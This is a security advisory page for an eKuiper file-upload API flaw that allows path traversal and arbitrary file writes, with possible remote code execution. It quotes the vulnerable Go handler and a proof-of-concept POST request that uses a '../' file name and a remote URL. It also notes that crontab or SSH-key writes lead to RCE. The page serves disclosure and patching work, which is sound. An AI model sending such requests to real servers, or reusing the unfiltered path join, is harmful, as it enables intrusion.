Read the docs
TI-2025-43700 Aliases GHSA-gj54-gwj9-x2c6

eKuiper /config/uploads API arbitrary file writing may lead to RCE

Priority LOW 38CWE-434Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Code execution
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-434.

Summary

### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys. ### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return } filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered. ### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89 { "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ``` ![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a) ### Impact Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected. 1. SSRF 2. Path-Travel 3. May leads to RCE The reporters is m0d9 from Tencent YunDing Lab.

Why it matters now

Fix Fixed github.com/lf-edge/ekuiper/v2 (Go): 2.2.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/lf-edge/ekuiper/v2 (Go)before 2.2.02.2.0Patch availableGHSA-gj54-gwj9-x2c6
—github.com/lf-edge/ekuiper (Go)up to 1.14.7—No fix listedGHSA-gj54-gwj9-x2c6
  • github.com/lf-edge/ekuiper/v2 (Go) Vendor— Affected before 2.2.0 Fixed in 2.2.0 Patch available GHSA-gj54-gwj9-x2c6
  • github.com/lf-edge/ekuiper (Go) Vendor— Affected up to 1.14.7 Fixed in — No fix listed GHSA-gj54-gwj9-x2c6

Remediation

  • Fix · GHSA-gj54-gwj9-x2c6 github.com/lf-edge/ekuiper/v2 (Go) Fixed in 2.2.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-gj54-gwj9-x2c6

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences